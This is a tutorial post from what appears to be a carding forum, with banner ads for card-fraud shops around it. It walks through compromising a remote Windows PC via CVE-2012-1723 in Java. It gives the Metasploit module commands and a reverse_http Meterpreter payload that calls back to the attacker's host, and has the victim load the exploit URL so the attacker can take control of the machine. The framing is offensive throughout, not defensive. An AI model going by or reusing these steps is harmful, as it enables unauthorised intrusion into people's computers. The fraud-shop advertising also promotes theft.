banner Expire 1 February 2024
Ad Ends 13 January 2025
ad End 25 April 2025
banner Expire 25 April 2025
banner Expire 16 November 2024
What's new
banner Expire 16 November 2024
Ad Ends 20 January 2025
banner Expire 15 January 2025
Ad expire at 5 August 2024
banner Expire 20 October 2024
Western union transfer
UniCvv
casino
swipe store
adv exp at 23 August 2024
Carding.pw carding forum
BidenCash Shop
Kfc CLub

Hacking Remote Pc by Exploiting Java Applet Field Bytecode Verifier Cache Remote Code Execution

Dark_Code_x

TRUSTED VERIFIED SELLER
Staff member
Joined
Jun 28, 2020
Messages
6,614
Reaction score
715
Points
212
Awards
2
  • Somebody Likes you
  • First post
CVE-2012-1723: This is a vulnerability in the HotSpot bytecode verifier where an invalid optimization of GETFIELD/PUTFIELD/GETSTATIC/PUTSTATIC instructions leads to insufficient type checking. A specially-crafted class file could possibly use this flaw to bypass Java sandbox restrictions, and load additional classes in order to perform malicious operations. The vulnerability was made public by Michael ‘mihi’ Schierl.


Requirement:
  • Attacker Machine: Backtrack
  • Victim Machine: Windows (install JRE un-patched version )
Step1: Launch the Metasploit console
Open the Terminal in the Attacker Machine(Backtrack).
Type “msfupdate” , this will update the metasploit with latest modules.
Now type “msfconsole” to get interaction with the Metasploit framework.

Step 2:
Type “use exploit/multi/browser/java_verifier_field_access” and follow the below commands:


msf exploit(java_verifier_field_access) >
set PAYLOAD java/meterpreter/reverse_http
msf exploit(java_verifier_field_access) >
set LHOST [Backtrack IP ADDRESS]
msf exploit(java_verifier_field_access) >
exploit

If you don’t know what i am talking about , please read my previous tutorial.

Step 3:
If you follow the above commands correctly, you will get the following result.


Copy the url and open the link in the victim machine. Once the url loaded in the victim machine, it will launch the exploit and creates a new session.

Now type “sessions“, this will show the list of active sessions .

Type “sessions -i 1“, this will open the connection to the session with the id ‘1’ and bring you to Meterpreter. Meterpreter will help you to interact/control the Target.

References:
 
Ad End 1 February 2024
Top